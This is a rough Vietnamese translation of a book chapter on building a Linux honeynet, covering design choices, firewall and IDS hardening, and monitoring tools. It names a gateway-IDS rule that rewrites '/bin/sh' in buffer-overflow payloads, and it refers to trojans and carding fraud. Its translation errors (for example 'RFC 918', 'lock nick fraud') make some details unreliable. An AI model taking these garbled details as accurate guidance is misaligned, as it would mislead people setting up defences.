Tài liệu Honeypots: Honeypots
Tequila (VietHacker.org Translator Group Leader)
Compose by hieupc (PDF)
Một honeypot là 1 hình nộm được thiết kế để quan sát những cuộc tấn công của hacker. Một honeynet là 1
mạng được thiết lập xung quanh những hình nộm để lure và ghi lại những bước tấn công của hacker. Bằng
việc nghiên cứu 1 cuộc tấn công thật, những người nghiên cứu I vọng có thể có được những bước tiến mới
trong việc phát triển việc phòng ngự. Chương này sẽ giới thiệu về honeypots và hướng dẫn bạn từng bước
thiết lập honeynet trên nền tảng Linux.
Lance Spitzner, người sáng lập nên 1 trong những tracking endeavor được biết đến như là 1 Honeynet
Project ( định nghĩa 1 honeypot giống như 1 nguồn an toàn mà các giá trị dựa
trên probed, bị tấn công hoặc tổn thất. Mục đích của hệ thống masochistic này là để to be compromised và
abused. Hi vọng rằng, mỗi khi honeypot có sự tấn công thì người nghiên cứu có thể học được những kỹ
thuật tấn công mới. Ví dụ, bạn có thể dùng honeypot để tìm ra...
10 trang |
Chia sẻ: hunglv | Lượt xem: 2143 | Lượt tải: 1
Bạn đang xem nội dung tài liệu Honeypots, để tải tài liệu về máy bạn click vào nút DOWNLOAD ở trên
Honeypots
Tequila (VietHacker.org Translator Group Leader)
Compose by hieupc (PDF)
Một honeypot là 1 hình nộm được thiết kế để quan sát những cuộc tấn công của hacker. Một honeynet là 1
mạng được thiết lập xung quanh những hình nộm để lure và ghi lại những bước tấn công của hacker. Bằng
việc nghiên cứu 1 cuộc tấn công thật, những người nghiên cứu I vọng có thể có được những bước tiến mới
trong việc phát triển việc phòng ngự. Chương này sẽ giới thiệu về honeypots và hướng dẫn bạn từng bước
thiết lập honeynet trên nền tảng Linux.
Lance Spitzner, người sáng lập nên 1 trong những tracking endeavor được biết đến như là 1 Honeynet
Project ( định nghĩa 1 honeypot giống như 1 nguồn an toàn mà các giá trị dựa
trên probed, bị tấn công hoặc tổn thất. Mục đích của hệ thống masochistic này là để to be compromised và
abused. Hi vọng rằng, mỗi khi honeypot có sự tấn công thì người nghiên cứu có thể học được những kỹ
thuật tấn công mới. Ví dụ, bạn có thể dùng honeypot để tìm ra những rootkit, lỗi và các backdoor trước khi
chúng đi bvào dòng chính.
Chạy 1 nền tảng honeynet giống như bạn chạy 1 mạng lưới gián điệp trong hàng ngũ kẻ thù. Bạn phải xây
dựng hệ thống phòng ngự và phải có khả năng giấu và dodge những cuộc tấn công mà bạn không thể đáp
trả lại, tất cả đều được giữ trong trạng thái low profile trên mạng. Đây là 1 vấn đề rất quan trọng để nghiên
cứu một cách an toàn về những máy tính ở những khoảng cách xa. Thay thế vào việc bạn phải đi tìm chúng
thì chúng sẽ tự tìm đến với bạn. Thêm vào đó, những câu chuyện về honeypot có thể được được sáng tạo
ra. Chẳng hạn như, 1 người nghiên cứu có thể sáng tạo nên câu chuyện:
Một kẻ xâm nhập phá vỡ honeypot và triển khai những gói tin toolkit dưới cái têntar.gz. Anh ta thường sử
dụng FTP để đăng nhập tới site của anh ta dưới user name là nickname của anh ta. Phần mềm IRC mà anh
ta triển khai trên máy tính của anh ta cũng có cùng nickname đó và điều này chứng tỏ rằng anh ta trong
thực tế được biết dưới cái bản sao đó. Hãy thử tưởng tượng sự ngạc nhiên của chúng tôi khi phát hiện ra
rằng địa chỉ IP mà từ đó anh ta xuất hiện là địa chỉ từ site của anh ta. Nó đã được chuyển đổi. Và điều đó
chứng tỏ rằng anh ta không quan tâm đến việc những nạn nhân của anh ta có thể trace ngược lại.
Một hệ thống honeypot bị tổn thương khác chỉ ra rằng hành động đầu tiên của kẻ tấn công đó là thay đổi
pass root của hệ thống (điều này làm cho người quản trị hệ thống hoặc chủ hệ thống đăng nhập vào và bị
lỗi). Không một kẻ tấn công nào quan tâm đến việc kiểm tra sự hiện diện của Tripwire (một hệ thống kiểm
tra tính toàn vẹn của hệ thống), đây là hệ thống được mặc định trong Red Hat Linux và được sử dụng như
là 1 honeypot. Một khi Tripwire chạy, tất cả những "hidden" files sẽ dễ dàng được phát hiện ra. Một số
những kẻ tấn công khác thì tạo ra những thư mục cho chính anh ta dưới cái tên nickname của mình trên
thư mục root. Apparently, anh ta nghĩ rằng, không có người quản trị hệ thống nào có thể ngạc nhiên khi
nhìn thấy 1 thư mục mới smack trên root.
Dự án Honeynet có sự khác biệt giữa honeypot nghiên cứu và honeypot sản phẩm. Những honeypot
nghiên cứu dựa trên những thông tin tình báo đặt được về kẻ tấn công cũng như phương pháp, kỹ thuật
của ạnh ta. Trong khi đó, những honeypot sản phẩm có mục đích là làm giảm những nguy hiểm cho nguồn
lực IT của công ty và cung cấp những cảnh báo phát triển cho các cuộc tấn công trên cơ sở hạ tầng mạng,
đồng thời presumably diverting các cuộc tấn công khỏi hệ thống sản phẩm trong môi trường giám sát của
honeypot.
Nhìn chung, những honeypot sử dụng dự án này được gọi là honeynet. Lance Spitzner miêu tả chúng như
những mạng các hệ thống sản phẩm được kết nối tới Internet (thậm chí có thể không qua firewall). Hệ
thống này là 1 hệ thống sản phẩm chuẩn với những ứng dụng thực tế được sử dụng bởi các công ty trên
mạng. Nothing is faked or artificial. Không có lỗ hổng nào được tạo ra cho những cuộc tấn công dễ dàng.
Trong thực tế, nó hoàn toàn có khả năng là 1 bản sao (clone) của hệ thống sản phẩm và được triển khai
thành honeynet, những thông tin confidential được gỡ bỏ hoặc thay thế bởi những thông tin tương tự
nhưng không mang giá trị thực .
Bạn cũng có thể chạy một honeypot hoặc 1 honeynet tại nhà hoặc tại những công ty nhỏ. Trong thực tế,
bạn có thể triển khai 1 phần mềm đơn giản như là Linux honey, như Niels Provos, là những phần mềm có
thể bắt chước những phản hồi của rất nhiều những dịch vụ đã biết. Trong trường hợp này, bạn có thể thu
thập dữ liệu từ những cuộc tấn công bằng những worm tự động và initial những bước tiếp theo của một
cuộc tấn công bởi con người. Tuy nhiên, illusion là giới hạn và không phải bao giờ cũng đạt được một mức
độ cao sao khi những dữ liệu penetration được acquired. Nó có thể khá hài hước khi bạn quan sát 1
honeypot, nó có thể thu thập đủ thông tin cho dự án an ninh nhưng nó không có ích nhiều lắm. Để có thể
tiếp cận với những hành động xảy ra trong bóng tối, bạn cần phải có 1 honeynet: 1 thiết bị trực tiếp kết nối
tới mạng, cái mà có thể bị probed, bị tấn công, sở hữu và abused. Tương đối dễ để xây dựng 1 honeynet
tại nhà. Bạn chỉ cần 1 vài máy tính, 1 kết nối tới mạng (thậm chí với 1 IP động) và một số kiến thức về an
toàn thông tin, bạn sẽ sớm được tự hào là sở hữu chính mạng của bạn. sẵn sàng để admit những hacker
từ tất cả mọi nơi trên thế giới. Rất quan trọng để có 1 lý do định nghĩa tốt cho việc triển khai một honeynet
tuy nhiên hãy nói về motivation để làm việc đó.
20.1 Motivation
Mục tiêu chuyển tiếp sự triển khai những honeypots cho việc bảo vệ mạng mới chỉ bắt đầu. 1 hướng truyền
thông trực tiếp (a.k.a. bait-and-switch), shield honeypots, và những kỹ thuật khác là trong thời kỳ tiền khởi
của họ. Một motivation thông thường nhất cho việc triển khai 1 honeypot hoặc là 1 honeynet đang được
nghiên cứu. Những kiến thức học được từ các hacker (thậm chí chỉ là những script kiddies), những công cụ
và kỹ thuật của họ không phải là dành cho tất cả mọi người. Tuy nhiên, nó thực sự đem lại lợi ích to lớn
trong việc cảnh báo về an toàn, đào tạo và những công cụ an toàn hệ thống.
Những nghiên cứu motivation được ứng dụng vào các honeypots exposed to những mạng công cộng. Một
mặt, 1 honeypot cung cấp những giá trị to lớn bằng cách trở thành 1 IDS mà không có giá trị xác nhận sai,
và lựa chọn bảo vệ những nguồn giá trị của mạng và host. Tạo nên những bản cơ sở dữ liệu bogus, các file
và những thông tin rất hấp dẫn, giám sát truy cập tới chúng là 1 cách tốt để thwart một trong những loại
network abuse đắt nhất và intellectual-property theft. Trong khi nghiên cứu là một trong những ứng dụng
quan trọng nhất của honeypot thì mặt bảo vệ (cho cả bên trong và bên ngoài) cũng gia tăng sự quan trọng
của nó.
Tiếp theo, chúng ta sẽ đi vòng quanh chi tiết việc thiết lập 1 honeynet để nghiên cứu. Chúng tôi sẽ hướng
dẫn bạn đọc những bước để xây dựng 1 honeynet trên nền tảng Linux. Phần cài đặt sẽ được miêu tả trên
cả 3 phần: 1 nạn nhân, 1 firewall và 1hệ thống phát hiện xâm nhập. Bước cài đặt được chỉ ra trong hình
Figure 20-1 là một trong những phần ghiên cứu về Honeynet của tác giả
(
Figure 20-1. Sample honeynet
20.2 Xây dựng cơ sở hạ tầng:
Hình Figure 20-1 chỉ cho chúng ta thấy cấu hình đơn giản nhất của 1 honeynet để tồn tại. Tuy nhiên, 1
honeynet có thể nhìn thấy được có thể được cài đặt trên chỉ 1 máy đơn nếu có một môi trường ảo (như
VMWare hoặc UML-Linux) được sử dụng. Trong trường hợp này, thiết bị ảo sẽ được tạo ra trên 1 phần
cứng đơn. 1 cái phục vụ như là 1 firewall, còn cái kia phục vụ như 1 hệ thống phát hiện xâm nhập và chưa
có hệ thống bị tấn công/ Mặc dù những phần còn lại có thể được tạo ra trên 1 máy tính đơn, đủ mạnh,
nhưng 1 honeypot ảo cũng sẽ trở thành 1 hiểm họa lớn khi kẻ tấn công biết được sự giả mạo đó. Trong
thực tế, một vài kỹ thuật tấn công được triển khai đã phá vỡ môi trường ảo được thiết kế nghèo nàn đó.
Hiếm khi có thể thiết kế được 1 honeypot đúng ngay từ lần đầu tiên bởi vì độ phức tạp trong việc cấu hình
nó. Một hệ thống máy ảo tiêu biểu (như VMWare) không được thiết kế để chuyển đổi hoàn chỉnh, và những
shielding của nó có thể bị breached. Tuy nhiên, một vài công nghệ đã được thiết kế để làm điều đó. Một hệ
thống Sun Solaris được thiết kế đặc biệt để giữ cho 1 cages với honeypots optimized cho an toàn, forensic
recovery, và dễ dàng cấu hình. Đồng thời, 1 vài honeypot ảo đặc biệt vì mục đích thương mại cũng được
bản bởi Recourse (bây giờ là 1 phần của Symantec) dưới chi nhánh ManTrap brand. Mặc dù nó dường như
không thật là không thể phá vỡ (bởi vì không có cái gì thực sự như vậy), nhưng ít nhất nó cũng rõ ràng rằng
những người thiết kế ManTrap đã ứng dụng honeypot cho hệ thống của họ từ khi bắt đầu. Sản phẩm này
thậm chí đi cùng với những nội dung được thiết kế để hỗ trợ honeypot với những dữ liệu thực sự như
email, web pages, etc. ManTrap được miêu tả trong sách của Lance Spitzner về Honeypots: Theo dõi
Hackers (Addison-Wesley, 2002), cùng với những giải pháp thương mại và phần mềm honeypot.
Kết hợp giữa IDS và những chức năng của firewall bằng cách sử dụng 1 gateway IDS cho phép bạn có thể
giảm những yêu cầu về cơ sở vật chất đồi hỏi cho 2 thiết bị đó.Một gateway IDS là 1 host với 2 card mạng
mà có thể phân tích những luồng thông tin đi qua nó, xử lý những gói tin được chuyển tiếp đến và đưa ra
các quyết định cảnh báo dựa trên nội dung gói tin. Một gateway IDS (giống như những phần mềm mã
nguồn mở, miễn phí Hogwash hoặc là những thiết bị thương mại gateway) chuyển tất cả các tin tức và
những điều khiển bắt buộc, từ những lệnh cho phép hoặc từ chối đơn giản đến những biến đổi các gói tin
mạng phức tạp. Loại IDS này thậm chí còn ít được nhìn thấy hơn hơn những IDS sniffing thụ động truyền
thống, bởi vì nó hoạt động dựa trên lớp thứ 2 của giao thức tcp/ip; đáng chú ý là nó chuyển đổi nhiều hơn là
firewall trên đường truyền trong cài đặt 1 honeypot thông dụng.
Ví dụ, Hogwash có thể thiết lập để phá hỏng những cố gắng tấn công kiểu buffer overflow (bằng cách thay
thế chuỗi /bin/sh bằng chuỗi /ben/sh) để bảo vệ những site ở xa khỏi bị phá vỡ. Nó cũng làm gia tăng sự
xuất hiện của những thực thể cho cài đặt honeynet bằng cách đánh dấu những điều khiển truy cập để có
thể khó khăn hơn khi phát hiện. Tuy nhiên, 1 gateway IDS, với những honeynet ảo như được miêu tả ở trên
đã mang đến những mối nguy mới. Những kiểu tấn công chưa biết, những biến thể tấn công và những cuộc
tấn công dựa trên các kênh mã hóa là những mối nguy hiện tại đối với việc thiết lập những gateway lén lút.
Những honeypot dựa trên Gateway – trong dự án Honeynet được gọi là những honeypot GenII (Đời thứ 2)
để so sánh với những honeypot dựa trên firewall GenI (Đời thứ 1). Trong chương này, chúng tôi miêu tả
honeypot đơn giản GenI, mặc dù nó có những điểm khác biệt so với GenII. Trang web về dự án Honeynet
cung cấp nhiều lời khuyên cho việc xây dựng những honeynet GenI và GenII. Nó cũng bao gồm những
công cụ tự động rất dễ để thực thi việc cấu hình. Ví dụ như có những script hoàn chỉnh để cấu hình firewall
(đối với GenI) hoặc là bridge firewall (đối với GenII). Tuy nhiên, nhiều thay đổi là có thể và có thể được
trông mong, dựa trên tiêu chí của dự án và những công nghệ có sẵn. Hãy cẩn thận để tránh khỏi việc chuẩn
hóa honeypot mà làm cho nó không thể để lại dấu vết.
Cài đặt của chúng tôi sẽ sử dụng Linux trên tất cả các hệ thống, tuy nhiên những môi trường Unix đa dạng
như FreeBSD, OpenBSD, NetBSD, và Solaris - có thể được triển khai như những hệ thống victim. Trong
thực tế, những kinh nghiệm được chỉ ra cho thấy môi trường *BSD hấp dẫn những kẻ tấn công chất lượng
cao, mặc dù nó ít xảy ra. Những máy cài Linux với cấu hình mặc định bị hack thường đủ để cung cấp cho
dòng dữ liệu các hành động của hacker (và do đó tạo nên những câu chuyện vui cũng như những kiến thức
để học từ những cuộc tấn công này). Quan sát những cuộc tấn công giống nhau không đem lại những giá
trị gì sau hàng tá cuộc tấn công, thậm chí với những kẻ tấn công mức độ thấp sử dụng những công cụ rất
thú vị như rootkit hoặc backdoor. Thêm vào đó, họ thường xuyên thích thú sử dụng IRC để giảm bớt những
thao tác của họ.
Solaris cũng có thể được triển khai trên cả những thiết bị Intel lẫn Sun SPARC. Những thiết bị Sun SPARC
có thể dễ dàng kiếm được trên eBay, cũng dễ như thế đối với các hệ thống Intel đã lỗi thời. Hệ thống
Solaris thường chỉ mất 1 chút thời gian để có những cuộc tấn công, báo cáo từ những thành viên khác của
dự án Honeynet chỉ ra rằng thường chỉ sau 2 đến 3 tháng cho để tìm ra 1 lỗ hổng mới trên 1 hệ thống
Solaris, và có thể bị tấn công, khai thác. FreeBSD hoặc OpenBSD cũng cung cấp những mục tiêu rất thú vị,
dường như những kẻ tấn công mức độ cao hơn sẽ tìm kiếm những hệ thống có FreeBSD hoặc OpenBSD
hơn là những hệ thống Red Hat Linux. Hiện nay những FreeBSD honeypot của chúng tôi có thể thoát khỏi
những nỗ lực xâm nhập không gây tổn thương trong vòng 3 tuần. Những kẻ tấn công này mong muốn có 1
hệ thống OpenBSD đủ mạnh. Tuy nhiên, bạn sẽ không dễ dàng thấy những khả năng của những kẻ tấn
công trong việc chọc thủng hàng rào an ninh của tất cả các thiết bị tại cổng bảo vệ của bạn (trừ khi bạn
đụng chạm tới những đặc điểm quan trọng trong giao tiếp ngầm). Trong thực tế, các phương pháp an toàn
dù nhỏ nhất mà bạn thực thi trên máy victim cũng làm giảm một cách đáng kể con số những cuộc tấn công
thành công của những kẻ tấn công không chuyên nghiệp. Sự thật này giúp nhắc nhở những người quản trị
hệ thống Linux (hoặc là người sở hữu honeypot) bảo vệ hệ thống từ những thứ nhỏ nhất (bằng tất cả
những gì bạn có thể làm) và bạn sẽ trở nên an toàn hơn rất nhiều. Nếu bạn củng cố cho máy móc của bạn
như chúng ta đã miêu tả trong chương 11, bạn sẽ chờ cả đời để đón nhận 1 cuộc tấn công, bởi vì những hệ
thống kiên cố như vậy không phải là không thể tấn công, nhưng lại rất dễ dàng bị qua mặt bởi những kẻ
không chuyên nghiệp đang tìm kiếm những kỹ năng, đây là những kẻ tấn công chính đối với những hệ
thống. Nếu hệ thống của bạn không đáp trả lại những lỗ hổng đó, nó sẽ thường xuyên bị bỏ qua. Như
chúng tôi đã chỉ ra trong những chương khác, những máy móc kiên cố được biết như là những thiết bị
được chạy hàng năm hoặc hàng tháng mà không phải khởi động lại và không bị tấn công.
Đối với Windows, việc chạy 1 hệ thống Windows giống như 1 honeypot có thể phát sinh ra rất nhiều vấn đề.
Hệ thống windows không phải là trong suốt (bởi vì hệ điều hành là những phần mềm mã nguồn đóng và có
nhiều thành phần có rất ít tài liệu về nó). Và bởi vậy, nó rất khó để tin tưởng được việc ghi, lưu trữ và so
sánh những trạng thái hoàn chỉnh của hệ thống Windows mà được dự định làm honeypot. Bạn có thể sẽ
thường xuyên phải restore lại bộ nhớ, nhưng so sánh trạng thái của 1 thiết bị đã bị hack với bản thân nó
trước khi bị tấn công tạo ra rất nhiều vấn đề. Nếu thiết bị honeypot bị hack, bạn phải nhanh chóng quyết
định những gì đã bị thay đổi. Đối với Windows, chỉ có khả năng ghi lại bằng ổ đĩa cứng và so sánh nó với
trạng thái tốt trước khi bị tấn công. Tất nhiên, bạn có thể sử dụng Tripwire cho Windows, nhưng nó có thể
rất là đắt. Và chúng tôi thậm chí không đề cập đối với việc theo dõi những thay đổi registry; những thay đổi
mà dường như ko có tài liệu nào đề cập đến bà volatile, và những sự lộn xộn đó thì không thể dễ dàng xác
nhận được. Chạy 1 hệ thống victim trên hệ điều hành Windows là có thể nếu bạn có 1 chuyên gia bậc cao
về an toàn Windows làm việc 1 cách hiệu quả. Tuy nhiên, trong trường hợp đó thì tính mờ của Windows sẽ
ám ảnh bạn. Unix là sự lựa chọn an toàn nhất bởi vì tính trong suốt cao của nó. Nó rất dễ để điều khiển, và
thậm chí nếu bạn gây ra lỗi thì cũng có nhiều cách để bạn sửa lại lỗi đó. Trong Windows realm, cách phổ
biến nhất để sửa lỗi là khởi động lại hệ thống và lấy lại những gì thuộc về nó trước đó. Trong trường hợp bị
tấn công vào môi trường sản phẩm, 1 thiết bị Windows thường cần phải wiped và format lại. Trong trường
hợp honeypot, nếu bạn format lại thì rõ ràng là không hiệu quả. Một cuộc điều tra nặng nề hơn phải được
đảm trách để tìm ra NetBus hoặc Sub7 hay những bản sao của chúng.
or
Windows không chấp nhận là 1 honeypot mà trong đó môi trường thường xuyên phải được điều khiển và
quan sát, và không thể quay trở lại những trạng thái vận hành tốt đã biết. Một mặt, nó chỉ plopping một phần
không an toàn của Windows vào honeynet và việc giám sát nó burn có thể rất nhiều chuyện thú vị. Quan sát
tất cả những pesky Trojan probes, yêu cầu chia sẻ ổ cứng, và những worm tấn công thời gian thực và cười
khi thấy hệ thống bị tổn thương và abused by some unknown cyberchump from halfway across the globe.
Một máy tính có thể phục vụ rất tốt việc cảnh báo sớm những nghi ngờ, chẩnghnj như 1 con worm
devastating đang thu thập những momentum to strike the following week.
Một bài tập rất thú vị nữa đó là triển khai1 pre-Trojaned Windows box. Judging bởi 1 con số những lượt
quét Sub7, BackOrifice2K, và những trojan phổ biến khác mà chúng ta nhìn thấy trong honeynet.
Nhữngmalicious crackers thường xuyên có mặt trên prowl của 1 hoặc 2 Windows box (hoặc là hàng ngàn,
cái mà rất which is a scary thought), và những công cụ tự động trawl the Net để tìm kiếm nhiều nạn nhân
hơn nữa từ những hồi âm. Khác với việc sử dụng nhữngthiết bị để chống lại các cuộc tấn công kiểu DOS,
những hệ thống Windowws đã bị tấn công là ideal for relay attacks, bởi vì không có 1 thống kê log nào của
hệ thống xâm nhập được để lại. Gần đây, 1 trong những thành viên dự án Honeynet phát hiện ra rằng 1 tiến
trình underground lock nick fraud operation chạy 1 số công cụ lock nick tự động và hoarding rất nhiều
những nguồn various resources on committing lock nick fraud. Theo quan sát của ông ta, 1 thẻ với đầy đủ
thông tin của người sở hữu có thể được trả với giá 10$ trong khi chỉ 1 số có thời hạn sử dụng chỉ đáng giá
1$.
Hãy tiến hành những gì bạn muốn, nhưng trong chương này hướng của chúng tôi là cài đặt 1 honeypot dựa
trên Unix.
20.2.1 Thủ tục:
Chương này sẽ hướng dẫn bạn các thủ tục để xây dựng 1 honeypot, nó đòi hỏi những hiểu biết về TCP/IP,
máy tính và an ninh mạng, và có thể cả Unix. Để làm tốt phần này, hãy đọc kỹ chương 6 và chương 11.
20.2.1.1 Chuẩn bị
Đầu tiên, hãy tìm 3 máy PC Intel Pentium (hoặc tốt hơn) với những card mạng, 1 hub mạng và cáp nối. 2
trong số 3 máy tính phải có 2 card mạng mỗi cái. Lý tưởng nhất là firewall và IDS mỗi cái có 3 card mạng
hoặc có thể sử dụng TCP hoặc USB để thay thế (để làm được điều này bạnc ần có cáp USB). Những thiết
bị này sẽ tạo nên cốt lõi của honeynet hoặc là mạng deception. Trong thực té, đối với mỗi firewall thì thậm
chí là những máy 486 có thể làm được, phụ thuộc chủ yếu vào tốc độ đường truyền. Thiết bị IDS nên có tốc
độ xử lý bởi vì nó phải ghi nhận tất cả các cảnh báo được phát sinh cũng như những truyền thông trên
mạng. Máy victim nên phải có tốc độ cao hon để làm cho nó giống thật hơn. Sau dùng, lưu ý rằng vẫn còn
rất nhiều người dùng sử dụng những máy 486 cho các mục đích (và Linux vẫn có thể chạy tốt trên những
thiết bị phần cứng này).
Tiếp theo, bạn phải có một kết nối internet (hiệu quả nhất là DSL, dial-up có thể sẽ gây khó khăn cho những
kẻ tấn công). Chúng tôi không giới thiệu 1 kết nối có sẵn nào mà bạn sử dụng không phải cho mục đích
honeypot. Tuy nhiên, bạn có thể thiết lập 1 firewall riêng rẽ để có thể divert a predefined volume trên đường
truyền theo những kết nối tốc độ cao của bạn với honeypot. Những mối nguy hiểm đối với thiết kế kiểu này
là rất thấp. Trong mọi trường hợp, nếu 1 kẻ tấn công có thể giải quyết được vấn đề địa chỉ IP, họ sẽ nhận ra
nó thuộc 1 ISP nào đó và điều đó có thể this should not arouse his suspicions. Phần The most likely species
to delve vào honeypot của bạn chính là Scriptokidicus Vulgaris; i.e., 1 kẻ cracker – người mà thậm chí
không muốn kiểm tra xem ai là người sở hữu thiết bị này. Cho dù bất cứ thiết bị nào mà họ có thể
penetrate, và cho dù là nó có là secret-stuff.af.mil hay lamerhome.aol.com, thì những kẻ script kiddies cũng
sẽ sử dụng nó. Đáng lưu ý rằng, những honeypot được triển khai trên những dãy IP xác định đó thường
xuyên bị tấn công nhiều hơn là những cái khác. Đó là những thông tin rất hữu hiệu trên this phenomenon,
và việc quản lý những kẻ script kiddies might shed light on it. Những công cụ họ sử dụng cần phải được
nghiên cứu kỹ. Tuy nhiên điều đáng ngạc nhiên về những script kiddies đó là con số và những công cụ tự
động mà họ sử dụng, họ thực sự represent một lỗ hổng trầm trọng trở nên là một môi trường thân thiện
bình thường hơn là những elusive über-hackers.
Bây giờ thì bạn cần phải có những phần mềm cần thiết cho honeypot, bao gồm hệ thống snort IDS
( ACID đối với thiết bị phân tích dữ liệu xâm nhập dựa trên GUI
( và swatch để giám sát những logfile theo thời gian thực
(ftp://ftp.cert.dfn.de/pub/tools/audit/swatch/). Trong thực tế, tất cả những phần mềm này đều có sẵn trong
Linux. Chúng tôi sử dụng Red Hat. Nó bao gồm cả những phần mềm firewalling nâng cao và NAT, Secure
Shell cho những truy cập từ xa đối với honeypot và những phần mềm cần thiết khác.
Cuối cùng, hãy thiết lập 1 máy tính làm máy victim. Bước này sẽ dược đề cập đến trong phần tới bởi vì việc
thiết lập nó khác hoàn toàn với việc thiết lập firewall hay là IDS.
20.2.1.2 Cài đặt cơ sở hạ tầng cho hệ thống:
Cài đặt Linux (Red Hat) trên 2 máy, dành cho firewall và IDS. Tối giản 2 máy cho giống nhau, bởi những
dịch vụ cốt lõi được tạo ra bởi những thành phần Linux/GNU giống nhau. Máy firewall có 2 card mạng. Cấu
hình nó với 1 địa chỉ honeypot có thể nhận thấy và 1 địa chỉ nonroutable (RFC 918), ví dụ như 10.1.1.1
hoặc 172.16.1.1. Card mạng thứ 2 sẽ được nối ra ngoài. Nên phát triển sniffer trực tiếp trên firewall để tránh
hub. Tuy nhiên, việc cài đặt như thế này lại phát sinh 1 số vấn đề về an toàn bởi vì những NIDS sẽ dường
như lộ rõ hơn, nhất là khi so sánh 1 IP hoàn chỉnh của box.
Trên máy IDS, cấu hình 1 card mạng với bất kỳ 1 địa chỉ nào mà bạn muốn và để trống địa chỉ IP đối với
card mạng kia. Chính card mạng được giấu đi này sẽ là giao diện sniffing của honeypot. Bởi vì những kẻ
tấn công cấp cao có thể dùng những bẫy để kiểm tra và thậm chí tấn công vào sniffer, và thật khó mà tin
rằng nó sẽ xảy ra trên chính honeypot của bạn (nếu chỉ triển khai ben ngoài firewall và exposed to the
Internet). Có những lỗ hổng đã biết trong những thư viện sniffing (như là libpcap, được snort sử dụng để
chụp các thông tin trên mạng). Nhưng những lỗi này vẫn còn ẩn chứa những tiến trình rất nguy hiểm và
không thể tin tuởng được. Hiện nay, vẫn còn nhiều những lỗi script mà có thể khai thác được bằng Joe
Cracker. Nhìn chung thì thậm chí những firewall cũng có thể bị tấn công và tổn thương và những IDS sẽ lưu
trữ tất cả những sự kiện mà cần phải bảo vệ.
Bây giờ bạn phải xây dựng và cấu hình thiết bị firewall. Không nên chạy bất cứ dịch vụ nào từ SSH để truy
cập từ xa đến thiết bị IDS. Mọi gói tin có thể và nên được chuyển đi. Liên quan đến công việc này là việc
hướng dẫn hoặc là sử dụng những công cụ như Linux Bastille của Jay Beale. Cho những mục đích của
chúng ta, Bastille thì không đủ conservative bởi vậy nhiều dịch vụ cần được gỡ bỏ. Sử dụng thư viện rpm -e
(gỡ bỏ những thành phần đã được cài đặt của hệ thống Linux) và rpm -e -nodeps (gỡ bỏ những phần mềm
và bỏ qua những thành phần mà những dịch vụ khác cần đến nó – điều này có thể làm hỏng kế hoạch,
nhưng nếu bạn chắc chắn rằng kế hoạch có thể phá vỡ và sẽ cài đặt lại bằng cách nào đó, thì hãy sử dụng
nó. Lý tưởng nhất, nếu lệnh rpm có xung đột và không đồng ý gỡ bỏ 1 gói tin nào đó, bạn cần ghi nó lại và
gỡ bỏ nó sau. Trong một cuộc tấn công nhanh, lựa chọn nodeps thỉnh thoảng không có tác hại mấy, thậm
chí nó có thể phá vỡ tất cả mọi thứ. Do đó, việc gỡ bỏ mọi đặc tính cả GUI, bọ dịch, bộ chuyển đổi (Có thể
cần đến Perl nhưng không phải trên firewall), những shell mở rộng thêm, tất cả mọi SUID, những công cụ
phát triển, những phần mềm và nguồn nhân.
Việc phát triển nhân là 1 ý tưởng tốt cho hệ thống, có khả năng sẽ dễ dàng thiết lập cho một honeypot
exposed tới Internet, giống như thiết lập hệ thống ở nhà để học về an toàn mạng. Một mặt, việc dịch những
nhân không có module là rất dễ dàng và có thể tạo ra rất nhiều thứ cho việc bảo vệ an ninh. Chắc chắn
rằng phần mền firewalling (iptables) là 1 chức năng sau khi gỡ bỏ tất cả những gói tin không cần thiết bằng
cách chạy lệnh /sbin/iptables –L Đầu ra của lệnh này tương tự như sau bởi vì chưa có quy tắc nào của
firewall được đặt ra.:
Chain INPUT (policy ACCEPT)
Chain FORWARD (policy ACCEPT)
Chain OUTPUT (policy ACCEPT)
Sau đó, chúng ta phải tạo ra và triển khai 1 tập lệnh cho iptables firewall để giám sát trên những truyền
thông tại máy victim. Tập lệnh này được thiết kế bởi dự án Honeynet đặc biệt dành cho loại honeypot này.
Bạn phải chắc chắn rằng bạn có thể kết nối tới 1 server Secure Shell trên firewall ( lệnh ssh -l username
localhost sẽ làm việc này). Tốt hơn là Secure Shell được thiết lập với xác thực không có password thông
qua khóa được mã hóa, đây là phương pháp xác thực mà không đòi hỏi password. Trong trường hợp này,
không thể brute force ra password, bởi vì không đặt password. Chỉ người chủ sở hữu của khóa đó mới có
thể yêu cầu login. Có rất nhiều hướng dẫn cho việc này.
Nếu bạn bow to paranoia (và bạn nên như vậy), bạn có thể thích tiến hành 1 Tripwire hoặc 1 bản mạo
Tripwire trên hệ thống. AIDE là một phiên bản Tripwire tốt, miễn phí và dễ sử dụng.
Bởi vì bạn đã gỡ bỏ tất cả những đặc điểm GUI khỏi máy tính nên cấu hình của giao diện mạng sẽ rất nguy
hiểm. Sử dụng netconf (có sẵn tại /usr/bin/netcfg) hoặc là netconfig (/usr/sbin/netconfig) sẽ dễ dàng cấu
hình được giao điện đó. Ngoài ra, cũng có khả năng thống kê đơn giản những file thích hợp trong
/etc/sysconfig.
Sau khi những việc cấu hình còn lại được thực hiện, bạn có thể sử dụng những script như 1 trong những
script từ dự án Honeynet ( để thiết lập firewall.
Script này có thể được cấu hình trong firewall GenI hoặc GenII. Trong thử nghiệm của chúng tôi, chúng tôi
sử dụng lựa chọn GenI – là thiết bị có thể dễ dàng ứng dụng tập lệnh của iptables để cấm các kết nối dựa
trên count, để cho phép các logging, và để chuyển tiếp những gói tin tới thiết bị honeypot. Đối với GenII,
script thậm chí sẽ được cấu hình để làm cầu nối cần thiết cho việc vận hành thiết bị giống như 1 firewall
không có bất kỳ 1 địa chỉ IP nào. Thiết bị IDS sẽ sniff toàn bộ truyền thông của mạng, ghi nhận lại những nỗ
lực tấn công chống lại hoặc từ honeypot. Nó không bao giờ chuyển 1 thông tin nào đến honeynet và do vậy
trong thực tế nó điều đó là không cho phép bởi vì nó là giao diện không có IP (Figure 20-1). Đầu tiên, thao
tác những thủ tục giống nhau để củng cố hệ thống như firewall chẳng hạn như: gỡ bở, xóa sạch, cấm và
không cho phép bất cứ thứ gì bạn cho là không cần thiết. Thiết bị này sẽ bị firewall để cấm tất cả các kết nối
từ bên ngoài, không trường hợp nào được chấp nhận ở đây. Ngoài ra cũng không nên có bất kf một kết nối
từ xa nào tới 1 IDS trừ khi bạn chỉ kết nối trong những mạng riêng hoặc mạng nội bộ. Triển khai Secure
Shell, Tripwire (hoặc AIDE), Snort, ACID (và MySQL cho việc lưu trữ dữ liệu cần phân tích), iptables
firewall, và swatch. Tất cả các phần mềm này có thể được triển khai dưới sự bảo vệ theo các tầng. iptables
